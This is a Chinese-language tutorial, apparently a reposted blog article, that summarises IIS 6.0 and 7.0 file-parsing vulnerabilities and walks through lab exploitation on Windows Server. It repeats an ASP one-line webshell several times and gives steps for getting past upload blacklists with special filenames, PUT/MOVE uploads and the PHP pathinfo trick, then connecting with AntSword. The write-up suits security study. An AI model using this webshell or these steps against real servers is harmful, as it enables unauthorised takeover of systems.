文件解析漏洞总结-IIS
一、IIS6.0解析漏洞
漏洞一(后綴繞過)
漏洞二(目錄解析)
漏洞三(文件解析)
補充(PUT和漏洞三的結合)
二、IIS7.0解析漏洞
IIS6.0解析漏洞
環境搭建:Windows Server 2003
漏洞一:
當目標服務器禁止上傳.asp后綴的文件時,可以使用.cer或.asa后綴繞過,這兩個后綴名依舊當做asp文件解析執行
例:有peak.cer和peak.asa,其內容都是
漏洞二:
在網站中建立*.asp或*.asa的文件夾時,該文件夾中的任何文件都被IIS當做asp文件解析并執行,也可以叫做目錄解析
例:在網站根目錄中創建一個x.asp文件夾,x.asp文件夾中有個1.txt,1.txt的內容如下
結果示意圖:
注:這里1.txt的內容可以為一句話,這樣,就獲得到了目標的服務器權限
例如使用一句話:<%eval request(“peak”)%>
漏洞三:
當IIS處理像*.asp;*.jpg這類特殊的文件名時,會將;后面的內容直接忽略,將;前面的文件當做asp解析執行,這么做主要是為了繞過上傳時目標服務器設置的黑名單,也可以稱其為文件解析
例:一個peak.asp;jpg或peak.asp;1.jpg,其內容為:<%eval request(“peak”)%>
補充:
可以通過PUT與漏洞三的結合,上傳一句話木馬文件,并讓它以asp解析執行
條件:要有寫入權限
1、先在本地寫一個一句話,如果目標不讓上傳.asp,那我們.txt總可以吧,例如上傳一個xx.txt,內容:<%eval request(“peak”)%>
如果無法PUT,是因為,你沒有給根目錄users的寫入權限,我這里就直接完全控制了
2、使用軟件PUT上傳
3、使用軟件MOVE移動為特殊文件名
4、最后訪問目標文件
訪問:
蟻劍連接:
IIS7.0解析漏洞
原理:IIS和Nginx從右向左判斷是否認識這個后綴,只要看到認識的后綴,例如:是.php結尾的,交給php處理,當php開啟了cgi.cgi_pathinfo=1,就會對文件路徑進行修理,何為修理?例如:當php遇到文件路徑為xx.jpg/xx.txt/xx.php時,它會先判斷xx.jpg/xx.txt/xx.php這個文件是否存在(注意xx.jpg/xx.txt/xx.php是個整體),若xx.jpg/xx.txt/xx.php不存在于,就刪除/xx.php,繼續向前找,如果xx.jpg/xx.txt存在,那么最后執行的文件就是xx.jpg/xx.txt;如果xx.jpg/xx.txt不存在,就刪除/xx.txt,繼續向前找,判斷xx.jpg是否存在在,以此類推
注:這里的xx.jpg和xx.txt它既是文件,也是目錄,因為它里面還有文件嘛,找不到就向上一級找
實驗環境:(IIS7.x+php任意版本+FAST-CGI)
Windows Server 2008
phpstudy2018
漏洞利用條件:
1、php.ini里的cgi.cgi_pathinfo=1
2、IIS7.0在FAST-CGI運行模式下
(1)首先安裝IIS7.0(記得勾選ASP相關和CGI),然后安裝phpstudy,這里我選擇如下
(2)然后訪問一下IIS頁面
(3)先創建一個phpinfo文件測試一下php環境是否搭建成功
(4)再創建一個包含php代碼的jpg文件
(5)瀏覽器訪問一下,看看
(6)接下來試試1.jpg/.php文件路徑修理來試試
(7)哎呦,無法訪問,那我們接下來進行配置,使php文件路徑修理生效
我們來修改php.ini文件,設置cgi.cgi_pathinfo=1,并刪除注釋
(8)最重要的來了,更改網站處理程序映射
確定即可
(9)最后我們利用php文件修理這一特性進行漏洞的執行
總結
以上是生活随笔為你收集整理的文件解析漏洞总结-IIS的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 干部考察材料3篇
- 下一篇: 创城活动宣传文案30句